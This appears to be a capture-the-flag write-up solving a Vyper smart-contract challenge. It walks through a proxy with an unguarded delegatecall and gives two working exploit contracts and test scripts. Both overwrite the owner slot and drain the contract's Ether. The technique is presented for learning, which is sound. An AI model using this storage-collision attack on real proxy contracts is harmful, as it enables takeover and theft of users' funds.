Solution for “Offensive Vyper - Challenge 6 - Ownable Proxy”.
1) Challenge
Description
The Ownable Proxy contract is a proxy contract that can execute a few different calls. Your objective is to become the owner and steal any Ether in the contract.
Challenge created by @jtriley_eth.
2) Code Review
There is only one contract, OwnableProxy.vy
(source code) that implements a proxy contract.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
# @version ^0.3.2
"""
@title Ownable Proxy Contract
@author jtriley.eth
"""
# Storage paddings for external contract calls.
storage_padding: uint256[32]
owner: public(address)
@external
def __init__():
self.owner = msg.sender
@external
def forward_call(target: address, payload: Bytes[32]):
"""
@notice Forwards a contract call.
@param target Address to call.
@param payload Calldata.
"""
raw_call(target, payload)
@external
def forward_call_with_value(
target: address,
payload: Bytes[32],
msg_value: uint256
):
"""
@notice Forward a contract call with a msg.value.
@param target Address to call.
@param payload Calldata.
@dev reverts if msg.sender is not owner since, ya know, it sends value.
"""
assert msg.sender == self.owner, "not authorized"
assert msg_value <= self.balance, "insufficient balance"
raw_call(target, payload, value=msg_value)
@external
def forward_delegatecall(target: address, payload: Bytes[32]):
"""
@notice Forwards a contract delegate call.
@param target Address to delegate call.
@param payload Calldata.
@dev Local storage is padded to accomodate delegated contracts.
"""
raw_call(target, payload, is_delegate_call=True)
@external
@payable
def __default__():
pass
|
Contract main functions:
forward_call
executes the raw_call
function. It accepts a target
and a payload
forward_call_with_value
, it is the same as above, but it also accepts a value to send. Also, it checks if the sender is the owner (line 42
) and the balance is >=
than the value to send
forward_delegatecall
, same as forward_call
, but it executes a delegate call (is_delegate_call
is set to true
)
The contract has two variables: storage_padding
and owner
.
Our goal is to:
- become the owner
- steal any ETH in the contract
Question
How can we become the owner?
The owner is stored in owner
variable. So we need somehow to override that value with the attacker address. When a DELEGATECALL
is executed, the delegated contract can access the storage variables of the calling contract (in our case, the proxy contact) because the code is executed in its context. If we make our exploit contract have the same variable layout as the proxy contract, we can call the proxy forward_delegatecall
function by specifying a function of our exploit contract. When executing this function, we can override the owner
proxy with an address we control (the attacker address that will be the tx.origin
).
Question
How can we steal all the ETH in the proxy contract?
Once we have overwritten the owner
variable, we can call forward_call_with_value
by specifying the target address to be the attacker address and thus drain all the funds.
Alternatively, when the function executed by forward_delegatecall
is called (the same that overwrites the onwer
), we can send the proxy balance to tx.origin
(the attacker address) by calling the raw_call
function. In this case, when raw_call
is executed, the msg.sender
will be the proxy contract; thus, it will be possible to drain all its funds.
3) Solution
For this challenge, there are two possible solutions. In both cases, in our exploit contracts, we need to add the variables storage_padding
and owner
before the target
variable to reflect the proxy variables layout.
Solution 1
This solution sets the proxy owner to the attacker address and then sends all the proxy balance using the raw_call
function.
ownable-proxy.challenge.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
it('Exploit', async function () {
// YOUR EXPLOIT HERE
let exploit = await (await ethers.getContractFactory('OwnableProxyExploit', deployer)).deploy(this.ownableProxy.address)
console.log(`Owner : ${await this.ownableProxy.owner()}`)
let balanceBefore = await ethers.provider.getBalance(attacker.address)
await exploit.connect(attacker).run();
let balanceAfter = await ethers.provider.getBalance(attacker.address)
console.log(`New Owner: ${await this.ownableProxy.owner()}`)
expect(balanceAfter).to.be.gt(balanceBefore)
})
|
OwnableProxyExploit.vy
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
storage_padding: uint256[32]
owner: address
target: address
@external
def __init__(target: address):
self.target = target
# YOUR EXPLOIT HERE
@external
def run():
Ownableproxy(self.target).forward_delegatecall(self, method_id("changeOwner()"))
@external
def changeOwner():
self.owner = tx.origin
raw_call(tx.origin, b"", value=2 * 10 ** 18)
|
You can find the complete code here and here.
Solution 2
This solution sets the proxy owner to the attacker address, and then, when the transaction completes, the attacker address calls the forward_call_with_value
function. The condition at line 42
will be satisfied because the owner is now our attacker’s address.
ownable-proxy.challenge_2.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
it('Exploit', async function () {
// YOUR EXPLOIT HERE
let exploit = await (await ethers.getContractFactory('OwnableProxyExploit_2', deployer)).deploy(this.ownableProxy.address)
console.log(`Owner : ${await this.ownableProxy.owner()}`)
let balanceBefore = await ethers.provider.getBalance(attacker.address)
await exploit.connect(attacker).run();
await this.ownableProxy.connect(attacker).forward_call_with_value(attacker.address, [], INITIAL_BALANCE)
let balanceAfter = await ethers.provider.getBalance(attacker.address)
console.log(`New Owner: ${await this.ownableProxy.owner()}`)
expect(balanceAfter).to.be.gt(balanceBefore)
})
|
OwnableProxyExploit_2.vy
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
storage_padding: uint256[32]
owner: address
target: address
@external
def __init__(target: address):
self.target = target
# YOUR EXPLOIT HERE
@external
def run():
Ownableproxy(self.target).forward_delegatecall(self, method_id("changeOwner()"))
@external
def changeOwner():
self.owner = tx.origin
|
You can find the complete code here and here.
4) References